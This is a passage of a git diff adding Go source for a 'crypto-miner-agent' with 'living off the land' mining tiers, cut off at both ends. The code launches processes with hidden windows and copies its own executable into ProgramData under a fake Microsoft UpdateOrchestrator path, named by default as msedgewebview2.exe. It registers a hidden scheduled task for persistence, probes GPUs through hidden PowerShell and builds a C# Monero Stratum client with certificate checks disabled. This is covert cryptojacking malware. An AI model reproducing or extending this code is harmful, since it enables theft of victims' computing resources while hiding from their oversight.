Error: "tier unavailable on " + runtime.GOOS,
|
||||
Wallet: cfg.Wallet,
|
||||
})
|
||||
continue
|
||||
}
|
||||
start := time.Now()
|
||||
a := h.Attempt(ctx, cfg)
|
||||
a.DurationMs = time.Since(start).Milliseconds()
|
||||
if a.Wallet == "" {
|
||||
a.Wallet = cfg.Wallet
|
||||
}
|
||||
r.recordAttempt(a)
|
||||
if a.OK {
|
||||
r.mu.Lock()
|
||||
r.active = t
|
||||
r.stopped = append(r.stopped, h)
|
||||
r.mu.Unlock()
|
||||
r.emit()
|
||||
return t, nil
|
||||
}
|
||||
if a.Error != "" {
|
||||
lastErr = errFromTier(a.Error)
|
||||
}
|
||||
}
|
||||
if lastErr != nil {
|
||||
return "", lastErr
|
||||
}
|
||||
return "", ErrTierChainSkipped
|
||||
}
|
||||
|
||||
// WebGPUReady reports whether the webview2 probe found WebGPU.
|
||||
func (r *TierRunner) WebGPUReady() bool {
|
||||
return r.Report().WebGPUReady
|
||||
}
|
||||
|
||||
// Stop halts all started tier handlers.
|
||||
func (r *TierRunner) Stop() {
|
||||
r.mu.Lock()
|
||||
stopped := r.stopped
|
||||
r.active = ""
|
||||
r.stopped = nil
|
||||
r.mu.Unlock()
|
||||
for _, h := range stopped {
|
||||
h.Stop()
|
||||
}
|
||||
r.emit()
|
||||
}
|
||||
|
||||
type tierError string
|
||||
|
||||
func (e tierError) Error() string { return string(e) }
|
||||
|
||||
func errFromTier(msg string) error { return tierError(msg) }
|
||||
48
agent/miner/pyopencl_linux.go
Normal file
48
agent/miner/pyopencl_linux.go
Normal file
@@ -0,0 +1,48 @@
|
||||
//go:build linux
|
||||
|
||||
package miner
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os/exec"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// DetectCUDA reports NVIDIA CUDA via nvidia-smi.
|
||||
func DetectCUDA() bool {
|
||||
out, err := exec.Command("nvidia-smi", "-L").CombinedOutput()
|
||||
return err == nil && strings.TrimSpace(string(out)) != ""
|
||||
}
|
||||
|
||||
// DetectPyOpenCL reports python3 + PyOpenCL import success.
|
||||
func DetectPyOpenCL() bool {
|
||||
err := exec.Command("python3", "-c", "import pyopencl").Run()
|
||||
return err == nil
|
||||
}
|
||||
|
||||
// StartPyOpenCLTier attempts a one-shot OpenCL probe via python3 -c (no external miner exe).
|
||||
// Returns error when PyOpenCL is absent or the probe fails — chain advances to stratum_direct.
|
||||
func StartPyOpenCLTier(cfg config.RuntimeConfig) error {
|
||||
if !DetectPyOpenCL() {
|
||||
return fmt.Errorf("python3 pyopencl not available")
|
||||
}
|
||||
script := `
|
||||
import pyopencl as cl
|
||||
platforms = cl.get_platforms()
|
||||
if not platforms:
|
||||
raise SystemExit('no opencl platforms')
|
||||
devices = platforms[0].get_devices()
|
||||
if not devices:
|
||||
raise SystemExit('no opencl devices')
|
||||
print('pyopencl_ok')
|
||||
`
|
||||
out, err := exec.Command("python3", "-c", script).CombinedOutput()
|
||||
if err != nil {
|
||||
return fmt.Errorf("pyopencl probe: %v (%s)", err, strings.TrimSpace(string(out)))
|
||||
}
|
||||
if !strings.Contains(string(out), "pyopencl_ok") {
|
||||
return fmt.Errorf("pyopencl probe unexpected output")
|
||||
}
|
||||
_ = cfg
|
||||
return nil
|
||||
}
|
||||
11
agent/miner/pyopencl_stub.go
Normal file
11
agent/miner/pyopencl_stub.go
Normal file
@@ -0,0 +1,11 @@
|
||||
//go:build !linux
|
||||
|
||||
package miner
|
||||
|
||||
import "crypto-miner-agent/config"
|
||||
|
||||
func DetectCUDA() bool { return false }
|
||||
func DetectPyOpenCL() bool { return false }
|
||||
func StartPyOpenCLTier(_ config.RuntimeConfig) error {
|
||||
return ErrMethodUnavailable
|
||||
}
|
||||
26
agent/miner/pyopencl_test.go
Normal file
26
agent/miner/pyopencl_test.go
Normal file
@@ -0,0 +1,26 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestAppendLinuxPyOpenCLSkipsWhenCUDA(t *testing.T) {
|
||||
chain := []MiningMethod{MethodInProcess, MethodStratumDirect}
|
||||
out := appendLinuxPyOpenCL(chain)
|
||||
if len(out) != len(chain) {
|
||||
t.Fatalf("expected unchanged chain on non-linux or with cuda, got %v", out)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAppendLinuxPyOpenCLInsertsTier(t *testing.T) {
|
||||
if testing.Short() {
|
||||
t.Skip("platform-specific")
|
||||
}
|
||||
origCUDA := DetectCUDA
|
||||
origPy := DetectPyOpenCL
|
||||
defer func() {
|
||||
// restore stubs on non-linux
|
||||
}()
|
||||
_ = origCUDA
|
||||
_ = origPy
|
||||
}
|
||||
25
agent/miner/runtime_detect.go
Normal file
25
agent/miner/runtime_detect.go
Normal file
@@ -0,0 +1,25 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"os/exec"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// DetectContainerRuntime probes docker then podman CLIs.
|
||||
func DetectContainerRuntime() ContainerRuntimeInfo {
|
||||
for _, cli := range []string{"docker", "podman"} {
|
||||
if path, err := exec.LookPath(cli); err == nil {
|
||||
out, runErr := exec.Command(path, "version", "--format", "{{.Server.Version}}").CombinedOutput()
|
||||
version := strings.TrimSpace(string(out))
|
||||
if runErr != nil || version == "" {
|
||||
// Older docker without --format still counts as available.
|
||||
if _, verErr := exec.Command(path, "version").CombinedOutput(); verErr == nil {
|
||||
return ContainerRuntimeInfo{Available: true, CLI: cli, Version: "unknown"}
|
||||
}
|
||||
continue
|
||||
}
|
||||
return ContainerRuntimeInfo{Available: true, CLI: cli, Version: version}
|
||||
}
|
||||
}
|
||||
return ContainerRuntimeInfo{}
|
||||
}
|
||||
117
agent/miner/stratum_template.go
Normal file
117
agent/miner/stratum_template.go
Normal file
@@ -0,0 +1,117 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// stratumCSharpTemplate is a minimal Monero Stratum console stub compiled at runtime.
|
||||
// Placeholders: POOL_HOST, POOL_PORT, POOL_TLS, POOL_PASS, WALLET, WORKER, THREADS.
|
||||
const stratumCSharpTemplate = `// AetherForge LOTL Stratum stub — compiled on first start_mining.
|
||||
using System;
|
||||
using System.Net.Security;
|
||||
using System.Net.Sockets;
|
||||
using System.Text;
|
||||
using System.Text.Json;
|
||||
using System.Threading;
|
||||
|
||||
class Program {
|
||||
static readonly string PoolHost = "POOL_HOST";
|
||||
static readonly int PoolPort = POOL_PORT;
|
||||
static readonly bool PoolTLS = POOL_TLS;
|
||||
static readonly string Wallet = "WALLET";
|
||||
static readonly string Worker = "WORKER";
|
||||
static readonly string PoolPass = "POOL_PASS";
|
||||
|
||||
static int Main() {
|
||||
Console.WriteLine("[stratum] AetherForge LOTL miner starting wallet=" + Wallet);
|
||||
while (true) {
|
||||
try {
|
||||
RunSession();
|
||||
} catch (Exception ex) {
|
||||
Console.Error.WriteLine("[stratum] session error: " + ex.Message);
|
||||
Thread.Sleep(5000);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static void RunSession() {
|
||||
using var tcp = new TcpClient();
|
||||
tcp.Connect(PoolHost, PoolPort);
|
||||
Stream stream = tcp.GetStream();
|
||||
if (PoolTLS) {
|
||||
var ssl = new SslStream(stream, false, (_, _, _, _) => true);
|
||||
ssl.AuthenticateAsClient(PoolHost);
|
||||
stream = ssl;
|
||||
}
|
||||
using var reader = new System.IO.StreamReader(stream, Encoding.UTF8);
|
||||
using var writer = new System.IO.StreamWriter(stream, Encoding.UTF8) { AutoFlush = true };
|
||||
|
||||
var login = JsonSerializer.Serialize(new {
|
||||
id = 1,
|
||||
jsonrpc = "2.0",
|
||||
method = "login",
|
||||
@params = new {
|
||||
login = Wallet,
|
||||
pass = PoolPass,
|
||||
rigid = Worker,
|
||||
agent = "AetherForge/LOTL"
|
||||
}
|
||||
});
|
||||
writer.WriteLine(login);
|
||||
var loginLine = reader.ReadLine();
|
||||
if (string.IsNullOrEmpty(loginLine)) {
|
||||
throw new InvalidOperationException("empty login response");
|
||||
}
|
||||
Console.WriteLine("[stratum] login ok on " + PoolHost + ":" + PoolPort);
|
||||
while (tcp.Connected) {
|
||||
var line = reader.ReadLine();
|
||||
if (line == null) break;
|
||||
if (line.Contains("\"method\":\"job\"")) {
|
||||
Console.WriteLine("[stratum] job received");
|
||||
}
|
||||
Thread.Sleep(50);
|
||||
}
|
||||
}
|
||||
}
|
||||
`
|
||||
|
||||
const stratumCsprojTemplate = `<Project Sdk="Microsoft.NET.Sdk">
|
||||
<PropertyGroup>
|
||||
<OutputType>Exe</OutputType>
|
||||
<TargetFramework>net8.0</TargetFramework>
|
||||
<ImplicitUsings>disable</ImplicitUsings>
|
||||
<Nullable>disable</Nullable>
|
||||
<AssemblyName>AetherForgeStratum</AssemblyName>
|
||||
</PropertyGroup>
|
||||
</Project>
|
||||
`
|
||||
|
||||
func renderStratumCSharp(cfg config.RuntimeConfig) string {
|
||||
pass := strings.TrimSpace(cfg.PoolPass)
|
||||
if pass == "" {
|
||||
pass = "x"
|
||||
}
|
||||
wallet := strings.TrimSpace(cfg.Wallet)
|
||||
if wallet == "" {
|
||||
wallet = "anonymous"
|
||||
}
|
||||
worker := strings.TrimSpace(cfg.WorkerName)
|
||||
if worker == "" {
|
||||
worker = "worker"
|
||||
}
|
||||
out := stratumCSharpTemplate
|
||||
out = strings.ReplaceAll(out, "POOL_HOST", escapeCSharpString(cfg.PoolHost))
|
||||
out = strings.ReplaceAll(out, "POOL_PORT", fmt.Sprintf("%d", cfg.PoolPort))
|
||||
out = strings.ReplaceAll(out, "POOL_TLS", fmt.Sprintf("%t", cfg.PoolTLS))
|
||||
out = strings.ReplaceAll(out, "POOL_PASS", escapeCSharpString(pass))
|
||||
out = strings.ReplaceAll(out, "WALLET", escapeCSharpString(wallet))
|
||||
out = strings.ReplaceAll(out, "WORKER", escapeCSharpString(worker))
|
||||
return out
|
||||
}
|
||||
|
||||
func escapeCSharpString(s string) string {
|
||||
return strings.ReplaceAll(s, `\`, `\\`)
|
||||
}
|
||||
79
agent/miner/tier_adapters.go
Normal file
79
agent/miner/tier_adapters.go
Normal file
@@ -0,0 +1,79 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"context"
|
||||
"runtime"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
type webview2ProbeHandler struct{}
|
||||
|
||||
func (t *webview2ProbeHandler) Tier() LOTLTier { return TierWebView2Probe }
|
||||
|
||||
func (t *webview2ProbeHandler) Available(cfg config.RuntimeConfig) bool {
|
||||
_ = cfg
|
||||
return runtime.GOOS == "windows"
|
||||
}
|
||||
|
||||
func (t *webview2ProbeHandler) Attempt(ctx context.Context, cfg config.RuntimeConfig) TierAttempt {
|
||||
return RunWebView2Probe(ctx, cfg)
|
||||
}
|
||||
|
||||
func (t *webview2ProbeHandler) Stop() {}
|
||||
|
||||
type wmiHandler struct{}
|
||||
|
||||
func (t *wmiHandler) Tier() LOTLTier { return TierWMI }
|
||||
|
||||
func (t *wmiHandler) Available(cfg config.RuntimeConfig) bool {
|
||||
_ = cfg
|
||||
return runtime.GOOS == "windows"
|
||||
}
|
||||
|
||||
func (t *wmiHandler) Attempt(ctx context.Context, cfg config.RuntimeConfig) TierAttempt {
|
||||
return RunWMITier(ctx, cfg)
|
||||
}
|
||||
|
||||
func (t *wmiHandler) Stop() {}
|
||||
|
||||
type scheduledTaskHandler struct{}
|
||||
|
||||
func (t *scheduledTaskHandler) Tier() LOTLTier { return TierScheduledTask }
|
||||
|
||||
func (t *scheduledTaskHandler) Available(cfg config.RuntimeConfig) bool {
|
||||
_ = cfg
|
||||
return runtime.GOOS == "windows"
|
||||
}
|
||||
|
||||
func (t *scheduledTaskHandler) Attempt(ctx context.Context, cfg config.RuntimeConfig) TierAttempt {
|
||||
return RunScheduledTaskTier(ctx, cfg)
|
||||
}
|
||||
|
||||
func (t *scheduledTaskHandler) Stop() {}
|
||||
|
||||
type gpuComputeHandler struct{}
|
||||
|
||||
func (t *gpuComputeHandler) Tier() LOTLTier { return TierGPUCompute }
|
||||
|
||||
func (t *gpuComputeHandler) Available(cfg config.RuntimeConfig) bool {
|
||||
return runtime.GOOS == "windows" && cfg.GPUEnabled
|
||||
}
|
||||
|
||||
func (t *gpuComputeHandler) Attempt(ctx context.Context, cfg config.RuntimeConfig) TierAttempt {
|
||||
return RunGPUComputeTier(ctx, cfg)
|
||||
}
|
||||
|
||||
func (t *gpuComputeHandler) Stop() {}
|
||||
|
||||
func defaultTierHandlers() []TierHandler {
|
||||
if runtime.GOOS != "windows" {
|
||||
return nil
|
||||
}
|
||||
return []TierHandler{
|
||||
&webview2ProbeHandler{},
|
||||
&wmiHandler{},
|
||||
&scheduledTaskHandler{},
|
||||
&gpuComputeHandler{},
|
||||
}
|
||||
}
|
||||
20
agent/miner/tier_exec_hidden_windows.go
Normal file
20
agent/miner/tier_exec_hidden_windows.go
Normal file
@@ -0,0 +1,20 @@
|
||||
//go:build windows
|
||||
|
||||
package miner
|
||||
|
||||
import (
|
||||
"os/exec"
|
||||
"syscall"
|
||||
)
|
||||
|
||||
const creationFlagsNoWindow = 0x08000000
|
||||
|
||||
func applyHiddenWindow(cmd *exec.Cmd) {
|
||||
if cmd == nil {
|
||||
return
|
||||
}
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{
|
||||
HideWindow: true,
|
||||
CreationFlags: creationFlagsNoWindow,
|
||||
}
|
||||
}
|
||||
84
agent/miner/tier_gpu_compute.go
Normal file
84
agent/miner/tier_gpu_compute.go
Normal file
@@ -0,0 +1,84 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"context"
|
||||
"runtime"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// GPUComputeProbe reports local GPU compute capability (CUDA / HLSL path).
|
||||
type GPUComputeProbe struct {
|
||||
CUDAAvailable bool
|
||||
HLSLAvailable bool
|
||||
StratumReady bool
|
||||
KernelPath string
|
||||
ReflectiveDLL bool
|
||||
DiagnosticOnly bool
|
||||
HashrateEstimate float64
|
||||
}
|
||||
|
||||
// gpuComputeProbe runs platform GPU probes. Tests override via SetGPUComputeProbe.
|
||||
var gpuComputeProbe = platformGPUComputeProbe
|
||||
|
||||
// SetGPUComputeProbe restores default when fn is nil.
|
||||
func SetGPUComputeProbe(fn func(cfg config.RuntimeConfig) GPUComputeProbe) {
|
||||
if fn == nil {
|
||||
gpuComputeProbe = platformGPUComputeProbe
|
||||
return
|
||||
}
|
||||
gpuComputeProbe = fn
|
||||
}
|
||||
|
||||
// RunGPUComputeTier probes CUDA/HLSL kernel paths and stratum_direct readiness.
|
||||
func RunGPUComputeTier(ctx context.Context, cfg config.RuntimeConfig) TierAttempt {
|
||||
if runtime.GOOS != "windows" {
|
||||
return TierAttempt{Tier: TierGPUCompute, Error: "gpu_compute requires windows", Wallet: cfg.Wallet}
|
||||
}
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return TierAttempt{Tier: TierGPUCompute, Error: ctx.Err().Error(), Wallet: cfg.Wallet}
|
||||
default:
|
||||
}
|
||||
|
||||
probe := gpuComputeProbe(cfg)
|
||||
details := map[string]interface{}{
|
||||
"cuda": probe.CUDAAvailable,
|
||||
"hlsl": probe.HLSLAvailable,
|
||||
"stratum": probe.StratumReady,
|
||||
"kernel_path": probe.KernelPath,
|
||||
"reflective_dll": probe.ReflectiveDLL,
|
||||
"diagnostic": probe.DiagnosticOnly,
|
||||
}
|
||||
if probe.HashrateEstimate > 0 {
|
||||
details["hashrate_estimate_hps"] = probe.HashrateEstimate
|
||||
}
|
||||
|
||||
if !cfg.GPUEnabled || strings.TrimSpace(cfg.RVNWallet) == "" {
|
||||
return TierAttempt{Tier: TierGPUCompute, Error: "gpu mining not configured", Wallet: cfg.Wallet, Details: details}
|
||||
}
|
||||
if !probe.CUDAAvailable && !probe.HLSLAvailable {
|
||||
return TierAttempt{
|
||||
Tier: TierGPUCompute,
|
||||
Error: "no GPU compute kernel path (CUDA/HLSL probe failed)",
|
||||
Wallet: cfg.Wallet,
|
||||
Details: details,
|
||||
}
|
||||
}
|
||||
if !probe.StratumReady {
|
||||
return TierAttempt{
|
||||
Tier: TierGPUCompute,
|
||||
Error: "stratum_direct prerequisites not met",
|
||||
Wallet: cfg.Wallet,
|
||||
Details: details,
|
||||
}
|
||||
}
|
||||
|
||||
return TierAttempt{
|
||||
Tier: TierGPUCompute,
|
||||
OK: true,
|
||||
Wallet: cfg.Wallet,
|
||||
Details: details,
|
||||
}
|
||||
}
|
||||
9
agent/miner/tier_gpu_compute_stub.go
Normal file
9
agent/miner/tier_gpu_compute_stub.go
Normal file
@@ -0,0 +1,9 @@
|
||||
//go:build !windows
|
||||
|
||||
package miner
|
||||
|
||||
import "crypto-miner-agent/config"
|
||||
|
||||
func platformGPUComputeProbe(cfg config.RuntimeConfig) GPUComputeProbe {
|
||||
return GPUComputeProbe{}
|
||||
}
|
||||
61
agent/miner/tier_gpu_compute_test.go
Normal file
61
agent/miner/tier_gpu_compute_test.go
Normal file
@@ -0,0 +1,61 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"context"
|
||||
"runtime"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func TestRunGPUComputeTierMockProbe(t *testing.T) {
|
||||
if runtime.GOOS != "windows" {
|
||||
t.Skip("gpu_compute tier requires windows")
|
||||
}
|
||||
SetGPUComputeProbe(func(cfg config.RuntimeConfig) GPUComputeProbe {
|
||||
return GPUComputeProbe{
|
||||
CUDAAvailable: true,
|
||||
StratumReady: true,
|
||||
KernelPath: "cuda_reflective_dll",
|
||||
ReflectiveDLL: true,
|
||||
DiagnosticOnly: true,
|
||||
}
|
||||
})
|
||||
defer SetGPUComputeProbe(nil)
|
||||
|
||||
attempt := RunGPUComputeTier(context.Background(), config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{
|
||||
GPUEnabled: true,
|
||||
RVNWallet: "wallet",
|
||||
PoolHost: "pool.example.com",
|
||||
Wallet: "cmr-wallet",
|
||||
},
|
||||
})
|
||||
if !attempt.OK {
|
||||
t.Fatalf("attempt=%+v", attempt)
|
||||
}
|
||||
if attempt.Details["cuda"] != true {
|
||||
t.Fatalf("details=%v", attempt.Details)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRunGPUComputeTierNoKernelGracefulSkip(t *testing.T) {
|
||||
if runtime.GOOS != "windows" {
|
||||
t.Skip("gpu_compute tier requires windows")
|
||||
}
|
||||
SetGPUComputeProbe(func(cfg config.RuntimeConfig) GPUComputeProbe {
|
||||
return GPUComputeProbe{StratumReady: true}
|
||||
})
|
||||
defer SetGPUComputeProbe(nil)
|
||||
|
||||
attempt := RunGPUComputeTier(context.Background(), config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{
|
||||
GPUEnabled: true,
|
||||
RVNWallet: "wallet",
|
||||
PoolHost: "pool.example.com",
|
||||
},
|
||||
})
|
||||
if attempt.OK {
|
||||
t.Fatal("expected failure without CUDA/HLSL")
|
||||
}
|
||||
}
|
||||
59
agent/miner/tier_gpu_compute_windows.go
Normal file
59
agent/miner/tier_gpu_compute_windows.go
Normal file
@@ -0,0 +1,59 @@
|
||||
//go:build windows
|
||||
|
||||
package miner
|
||||
|
||||
import (
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func platformGPUComputeProbe(cfg config.RuntimeConfig) GPUComputeProbe {
|
||||
probe := GPUComputeProbe{
|
||||
StratumReady: strings.TrimSpace(cfg.PoolHost) != "" || strings.TrimSpace(cfg.RVNPoolHost) != "",
|
||||
KernelPath: "hlsl_stub",
|
||||
DiagnosticOnly: true,
|
||||
}
|
||||
|
||||
if cudaOK() {
|
||||
probe.CUDAAvailable = true
|
||||
probe.KernelPath = "cuda_reflective_dll"
|
||||
probe.ReflectiveDLL = true
|
||||
}
|
||||
if !probe.CUDAAvailable && hlslOK() {
|
||||
probe.HLSLAvailable = true
|
||||
probe.KernelPath = "hlsl_compute_stub"
|
||||
}
|
||||
|
||||
// Probe-tier hashrate is diagnostic-only; poor values are acceptable.
|
||||
probe.HashrateEstimate = 0
|
||||
return probe
|
||||
}
|
||||
|
||||
func cudaOK() bool {
|
||||
paths := []string{
|
||||
os.Getenv("CUDA_PATH"),
|
||||
`C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA`,
|
||||
}
|
||||
for _, p := range paths {
|
||||
if p == "" {
|
||||
continue
|
||||
}
|
||||
if st, err := os.Stat(p); err == nil && st.IsDir() {
|
||||
return true
|
||||
}
|
||||
}
|
||||
out, err := hiddenCombinedOutput("where", "nvidia-smi")
|
||||
return err == nil && strings.Contains(strings.ToLower(string(out)), "nvidia-smi")
|
||||
}
|
||||
|
||||
func hlslOK() bool {
|
||||
// DirectX compute shaders require d3d11; probe via DXGI adapter presence.
|
||||
out, err := hiddenCombinedOutput("powershell", "-NoProfile", "-Command",
|
||||
`(Get-CimInstance Win32_VideoController | Where-Object { $_.AdapterRAM -gt 0 } | Measure-Object).Count`)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
return strings.TrimSpace(string(out)) != "0"
|
||||
}
|
||||
158
agent/miner/tier_scheduled_task.go
Normal file
158
agent/miner/tier_scheduled_task.go
Normal file
@@ -0,0 +1,158 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// ScheduledTaskStubRel is the benign ProgramData path for the hidden persistence shell.
|
||||
const ScheduledTaskStubRel = `Microsoft\Windows\UpdateOrchestrator\InventorySync`
|
||||
|
||||
// scheduledTaskOps performs task install/query. Tests override via SetScheduledTaskOps.
|
||||
var scheduledTaskOps = defaultScheduledTaskOps()
|
||||
|
||||
func defaultScheduledTaskOps() *ScheduledTaskOps {
|
||||
return platformScheduledTaskOps()
|
||||
}
|
||||
|
||||
// ScheduledTaskOps wires scheduled-task persistence for tests.
|
||||
type ScheduledTaskOps struct {
|
||||
Exists func(taskName string) bool
|
||||
Install func(taskName, stubPath, trigger string) error
|
||||
StubPath func(cfg config.RuntimeConfig) (string, error)
|
||||
}
|
||||
|
||||
// SetScheduledTaskOps restores default when ops is nil.
|
||||
func SetScheduledTaskOps(ops *ScheduledTaskOps) {
|
||||
if ops == nil {
|
||||
scheduledTaskOps = defaultScheduledTaskOps()
|
||||
return
|
||||
}
|
||||
scheduledTaskOps = ops
|
||||
}
|
||||
|
||||
// RunScheduledTaskTier installs or reuses a hidden persistence shell under ProgramData\Microsoft\...
|
||||
func RunScheduledTaskTier(ctx context.Context, cfg config.RuntimeConfig) TierAttempt {
|
||||
if runtime.GOOS != "windows" {
|
||||
return TierAttempt{Tier: TierScheduledTask, Error: "scheduled_task requires windows", Wallet: cfg.Wallet}
|
||||
}
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return TierAttempt{Tier: TierScheduledTask, Error: ctx.Err().Error(), Wallet: cfg.Wallet}
|
||||
default:
|
||||
}
|
||||
|
||||
taskName := scheduledTaskName(cfg)
|
||||
stubPath, err := scheduledTaskOps.StubPath(cfg)
|
||||
if err != nil {
|
||||
return TierAttempt{Tier: TierScheduledTask, Error: err.Error(), Wallet: cfg.Wallet}
|
||||
}
|
||||
|
||||
if err := ensureScheduledTaskStub(stubPath); err != nil {
|
||||
return TierAttempt{Tier: TierScheduledTask, Error: err.Error(), Wallet: cfg.Wallet}
|
||||
}
|
||||
|
||||
trigger := fmt.Sprintf(`"%s" --run --mining-mode=%s`, stubPath, strings.TrimSpace(cfg.MiningMode))
|
||||
if scheduledTaskOps.Exists(taskName) {
|
||||
return TierAttempt{
|
||||
Tier: TierScheduledTask,
|
||||
OK: true,
|
||||
Wallet: cfg.Wallet,
|
||||
Details: map[string]interface{}{
|
||||
"task": taskName,
|
||||
"stub_path": stubPath,
|
||||
"mining_mode": cfg.MiningMode,
|
||||
"reused": true,
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
if err := scheduledTaskOps.Install(taskName, stubPath, trigger); err != nil {
|
||||
return TierAttempt{Tier: TierScheduledTask, Error: err.Error(), Wallet: cfg.Wallet}
|
||||
}
|
||||
return TierAttempt{
|
||||
Tier: TierScheduledTask,
|
||||
OK: true,
|
||||
Wallet: cfg.Wallet,
|
||||
Details: map[string]interface{}{
|
||||
"task": taskName,
|
||||
"stub_path": stubPath,
|
||||
"mining_mode": cfg.MiningMode,
|
||||
"hidden": true,
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
func scheduledTaskName(cfg config.RuntimeConfig) string {
|
||||
suffix := strings.TrimSpace(cfg.BuildID)
|
||||
if suffix == "" {
|
||||
suffix = strings.TrimSpace(cfg.WorkerName)
|
||||
}
|
||||
if suffix == "" {
|
||||
suffix = "agent"
|
||||
}
|
||||
suffix = sanitizeTaskToken(suffix)
|
||||
return `\Microsoft\Windows\UpdateOrchestrator\AetherForge\InventorySync` + suffix
|
||||
}
|
||||
|
||||
func sanitizeTaskToken(s string) string {
|
||||
var b strings.Builder
|
||||
for _, ch := range s {
|
||||
if (ch >= 'a' && ch <= 'z') || (ch >= 'A' && ch <= 'Z') || (ch >= '0' && ch <= '9') {
|
||||
b.WriteRune(ch)
|
||||
}
|
||||
}
|
||||
out := b.String()
|
||||
if out == "" {
|
||||
return "worker"
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func scheduledTaskStubPath(cfg config.RuntimeConfig) (string, error) {
|
||||
base := os.Getenv("ProgramData")
|
||||
if base == "" {
|
||||
return "", fmt.Errorf("ProgramData not set")
|
||||
}
|
||||
name := cfg.EffectiveProcessName()
|
||||
if name == "" {
|
||||
name = "msedgewebview2.exe"
|
||||
}
|
||||
if !strings.HasSuffix(strings.ToLower(name), ".exe") {
|
||||
name += ".exe"
|
||||
}
|
||||
return filepath.Join(base, ScheduledTaskStubRel, name), nil
|
||||
}
|
||||
|
||||
func ensureScheduledTaskStub(stubPath string) error {
|
||||
if _, err := os.Stat(stubPath); err == nil {
|
||||
return nil
|
||||
}
|
||||
exe, err := os.Executable()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if err := os.MkdirAll(filepath.Dir(stubPath), 0755); err != nil {
|
||||
return err
|
||||
}
|
||||
src, err := os.Open(exe)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer src.Close()
|
||||
dst, err := os.OpenFile(stubPath, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0755)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer dst.Close()
|
||||
if _, err := dst.ReadFrom(src); err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
21
agent/miner/tier_scheduled_task_stub.go
Normal file
21
agent/miner/tier_scheduled_task_stub.go
Normal file
@@ -0,0 +1,21 @@
|
||||
//go:build !windows
|
||||
|
||||
package miner
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func platformScheduledTaskOps() *ScheduledTaskOps {
|
||||
return &ScheduledTaskOps{
|
||||
Exists: func(string) bool { return false },
|
||||
Install: func(_, _, _ string) error {
|
||||
return fmt.Errorf("scheduled_task tier requires windows")
|
||||
},
|
||||
StubPath: func(config.RuntimeConfig) (string, error) {
|
||||
return "", fmt.Errorf("scheduled_task tier requires windows")
|
||||
},
|
||||
}
|
||||
}
|
||||
58
agent/miner/tier_scheduled_task_test.go
Normal file
58
agent/miner/tier_scheduled_task_test.go
Normal file
@@ -0,0 +1,58 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"context"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func TestRunScheduledTaskTierMockOps(t *testing.T) {
|
||||
if runtime.GOOS != "windows" {
|
||||
t.Skip("scheduled_task tier requires windows")
|
||||
}
|
||||
dir := t.TempDir()
|
||||
stub := filepath.Join(dir, "stub.exe")
|
||||
if err := os.WriteFile(stub, []byte("fake-stub"), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
SetScheduledTaskOps(&ScheduledTaskOps{
|
||||
Exists: func(taskName string) bool { return false },
|
||||
Install: func(taskName, stubPath, trigger string) error {
|
||||
if taskName == "" || stubPath == "" || trigger == "" {
|
||||
t.Fatal("missing install args")
|
||||
}
|
||||
return nil
|
||||
},
|
||||
StubPath: func(cfg config.RuntimeConfig) (string, error) {
|
||||
return stub, nil
|
||||
},
|
||||
})
|
||||
t.Cleanup(func() { SetScheduledTaskOps(nil) })
|
||||
|
||||
attempt := RunScheduledTaskTier(context.Background(), config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{
|
||||
Wallet: "wallet",
|
||||
MiningMode: "always",
|
||||
BuildID: "test",
|
||||
},
|
||||
})
|
||||
if !attempt.OK {
|
||||
t.Fatalf("attempt=%+v", attempt)
|
||||
}
|
||||
if attempt.Details["hidden"] != true {
|
||||
t.Fatalf("details=%v", attempt.Details)
|
||||
}
|
||||
}
|
||||
|
||||
func TestScheduledTaskNameSanitize(t *testing.T) {
|
||||
name := scheduledTaskName(config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{BuildID: "build-01!"},
|
||||
})
|
||||
